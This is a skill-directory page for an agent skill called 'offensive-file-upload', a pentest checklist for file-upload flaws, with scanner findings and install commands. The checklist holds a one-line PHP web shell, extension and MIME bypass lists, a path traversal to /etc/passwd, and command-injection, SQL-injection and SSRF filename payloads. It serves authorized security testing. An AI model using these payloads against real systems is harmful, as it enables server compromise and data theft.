offensive-file-upload skill
No description in the SKILL.md.
Is the offensive-file-upload skill safe?
Read the findings before you install it. We read 1 file in the folder on 2026-09-28.
- high
SKILL.md:193Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
filename=../../../../etc/passwd - low
SKILL.md:1The name should be 1 to 64 lowercase letters, digits or hyphens.
(missing) - low
SKILL.md:1No description, so an agent cannot tell when to use the skill.
(missing)
Install the offensive-file-upload skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/web/offensive-file-upload ~/.claude/skills/offensive-file-upload
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
SKILL: File Upload Vulnerabilities
Metadata
- Skill Name: file-upload
- Folder: offensive-file-upload
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/file-upload.md
Description
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of: file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
File Upload Vulnerabilities
Mechanisms
flowchart TD
A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
A --> C[Improper Extension Handling]
A --> D[Inadequate File Content Analysis]
A --> E[Unsafe File Storage]
A --> F[File Operation Mishandling]
A --> G[Directory Traversal]
A --> H[Race Conditions]
B --> I[Remote Code Execution]
C --> I
D --> J[Client-Side Attacks]
E --> I
F --> K[Denial of Service]
G --> L[Arbitrary File Access]
H --> IFile upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms. These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
- Insufficient File Type Validation: Failure to properly validate the actual content/type of uploaded files
- Improper Extension Handling: Not restricting dangerous file extensions or allowing easy bypasses
- Inadequate File Content Analysis: Not checking the actual file content versus relying only on extension or content-type
- Unsafe File Storage: Storing files in executable directories or with dangerous permissions
- File Operation Mishandling: Not securely handling file operations during the upload process
- Directory Traversal Vulnerabilities: Allowing manipulation of upload paths
- Race Conditions: Timing issues during validation and moving of uploaded files
- Archive Extraction Flaws: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
File upload vulnerabilities can manifest in various upload functionality patterns:
- Profile Picture Uploads: Common in user profiles and social media
- Document Repositories: File sharing services and document management systems
- Media Uploads: Image, video, and audio uploaders
- Bulk Import Features: CSV, XML, and other data import functionality
- Content Management Systems: Templates, plugins, themes, and media libraries
Hunt
Identifying File Upload Vulnerabilities
Target Discovery
- Map File Upload Functionality:
- Profile picture uploads
- Document/attachment uploads
- Import/export features
- Media galleries
- CMS admin sections
- Backup/restore features
- Avatar/image uploads
- Identify Upload Processing Patterns:
- Client-side validation patterns (JavaScript checks)
- Server-side validation indicators
- File type restrictions mentioned in UI
- Error messages related to file types
- Testing Prerequisites:
- Collection of test files (various formats)
- Proxy for intercepting requests (Burp Suite, ZAP)
- Web shells for testing execution
- MIME-type tools for manipulation
- Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)
Testing Methodologies
- Basic File Upload Testing:
- Test uploading standard expected files (baseline)
- Attempt uploading executable file types (PHP, ASP, JSP, etc.)
- Modify content-type headers during upload
- Change file extensions after client-side validation
- Extension-Based Testing:
- Test alternate extensions for web shells:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif
.asp, .aspx, .ashx, .asmx, .cer, .asa
.jsp, .jspx, .jsw, .jsv, .jspf
.cfm, .cfml, .cfc, .dbm (Coldfusion)
.pl, .py, .rb, .cgi- Test double extensions:
file.jpg.php
file.php.jpg
file.php.jpeg
file.php%00.jpg # Null byte (older versions)
file.php%20.jpg # URL encoded space
file.php%0d%0a.jpg # CRLF injection
file.php.blah123jpg # If regex is weak- Test case sensitivity bypass:
file.PhP
file.Php5
file.AspX
file.pHp
file.pHP5
file.PhAr- Test trailing characters/delimiters:
file.php.....
file.php/
file.php.\
file.php. # Trailing dot (Windows specific)
file.php%20 # Trailing space
file.php%09 # Trailing tab
file.php%0a # Trailing newline
file.php%0d # Trailing carriage return
file.php::$DATA # NTFS Alternate Data Stream (Windows specific)
file. # No extension
.html # Just extension- Test filename manipulation:
# Try to cut extension with max filename length limit
# Try empty filename: .php
# Send filename parameter twice: filename="allowed.jpg";filename="shell.php"- Content-Type Testing:
- Modify the Content-Type header to bypass MIME validation:
Content-Type: image/jpeg # actual file is PHP
Content-Type: image/png # actual file is PHP
Content-Type: image/gif # actual file is PHP
Content-Type: application/x-php # declared as image/jpeg when sent- Other Content-Type manipulations:
# Remove Content-Type header entirely
# Send Content-Type twice with allowed/disallowed values- Magic Byte Forging:
- If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
# Example: Add GIF header to a PHP shell
GIF89a;<?php system($_GET['cmd']); ?>- Polyglot File Testing:
- Create and test polyglot files (valid in multiple formats)
GIFAR files (GIF + RAR)
Valid Image + PHP code in EXIF metadata
PDF + PHP code
SVG + JavaScript for XSS- see @dan_crowley's talk and @angealbertini research
- Path and Filename Abuse Testing:
- Test path traversal in filename:
filename=../../../../etc/passwd
filename=/etc/passwd
filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)- Test injections via filename (if filename is processed unsafely):
filename=a$(whoami)z.png # Command Injection
filename=a`whoami`z.png # Command Injection
filename="a';select+sleep(10);--z.png" # SQL Injection
filename=https://internal.service/data # SSRF attempt- Test DoS via large filename (e.g., 255+ characters).
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